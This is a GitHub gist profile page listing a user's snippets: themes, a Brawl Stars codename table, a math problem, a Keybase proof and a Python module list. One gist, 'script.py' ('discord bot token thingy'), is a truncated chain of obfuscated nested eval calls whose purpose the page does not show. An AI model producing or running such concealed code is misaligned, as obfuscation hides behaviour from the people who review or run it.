Skip to content

Instantly share code, notes, and snippets.

View wasi-master's full-sized avatar

Wasi Master wasi-master

View GitHub Profile
@wasi-master
wasi-master / asciinema.html
Created April 15, 2022 11:42
Asciinema for rich
<html>
<head>
<link rel="stylesheet" type="text/css" href="./asciinema-player.css" />
</head>
<body>
<div id="demo"></div>
<script src="./asciinema-player.js"></script>
<script>
AsciinemaPlayer.create('./test.cast', document.getElementById('demo'));
</script>
$ pypi regex-search rich-.+                          
                          21 matches for rich-.+
┏━━━━━┳━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ No. ┃ Package            ┃ Link                                        ┃
┡━━━━━╇━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1.  │ rich-base-provider │ https://pypi.org/project/rich-base-provider │
├─────┼────────────────────┼─────────────────────────────────────────────┤
│ 2.  │ rich-cli           │ https://pypi.org/project/rich-cli           │
├─────┼────────────────────┼─────────────────────────────────────────────┤

The Problem

In the set {1, 2, 3, 4, 5, 6, 7, 8, 9}, how many subsets have at least 5 consecutive elements

All subsets of {1, 2, 3, 4, 5, 6, 7, 8, 9}

Click here to open or close
@wasi-master
wasi-master / dracula-stackoverflow.user.css
Last active February 2, 2022 07:11
Dark theme for stackoverflow
/* ==UserStyle==
@name Dracula for Stack Overflow
@namespace wasi-master/dracula-for-stackoverflow
@version 1.0.0
@description Dark mode for StackOverflow
@license MIT License
@author Wasi Master
@preprocessor stylus
@var select accent-color "Accent Color" ["red:Red", "green:Green", "cyan:Cyan", "orange:Orange", "pink:Pink", "purple:Purple*", "yellow:Yellow", "white:White", "comment:Comment Color"]
@wasi-master
wasi-master / script.py
Created January 29, 2022 08:17
discord bot token thingy
eval(eval('str(str)[+all([])]')+'t'+eval(''+eval('str(str)[+all([])]')+eval('str(str'+eval('str('+str(eval)[eval(str((+all([])))+str((+all([[]]))))]+'l'+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+'at((+all([]))))[(+all([]))]')+str(str)[+all([])]+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+str(eval)[(all([])+all([]))]+str(eval)[(all([])+all([])+all([])+all([])+all([])+all([])+all([])+all([]))]+'t)[(all([])+all([])+all([])+all([]))]')+'r('+str((+all([])))+str((all([])+all([])))+str((+all([[]])))+')')+eval('str('+str(eval)[eval(str((+all([])))+str((+all([[]]))))]+'l'+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+'at((+all([]))))[(+all([]))]')+eval(''+eval('str(str)[+all([])]')+eval('str(str'+eval('str('+str(eval)[eval(str((+all([])))+str((+all([[]]))))]+'l'+str(eval)[eval(str((+all([])))+str((all([])+all([])+all([])+all([])+all([])+all([]))))]+'at((+all([]))))[(+all([]))]')+str(str)[
@wasi-master
wasi-master / codenames.md
Created January 23, 2022 09:04
List of codenames of all the brawlers

Table of all characters and their codenames

The sort order of this table is the order the brawl stars devs put them in

Codename Character
ShotgunGirl shelly
Gunslinger colt
BullDude bull
RocketGirl brock
TrickshotDude ricochet
Cactus spike
@-moz-document domain("wikipedia.org") {
/* ==UserStyle==
@name Dracula for Wikipedia
@version 0.1.0
@description Dark theme for Wikipedia
@namespace wasi-master/dracula-wikipedia
@author Wasi Master <arianmollik323@gmail.com> (https://wasi-master.github.io)
@homepageURL https://github.com/dracula/wikipedia
@supportURL https://github.com/dracula/wikipedia/issues
@updateURL https://github.com/dracula/wikipedia/raw/master/wikipedia.user.css

Keybase proof

I hereby claim:

  • I am wasi-master on github.
  • I am wasimaster (https://keybase.io/wasimaster) on keybase.
  • I have a public key whose fingerprint is 0214 4B65 1422 C52E A8C5 5E39 5B87 09DF C524 5072

To claim this, I am signing this object:

@wasi-master
wasi-master / modules.txt
Created January 5, 2022 19:06
List of python modules
__future__
__hello__
__phello__
_abc
_aix_support
_ast
_asyncio
_bisect
_blake2
_bootsubprocess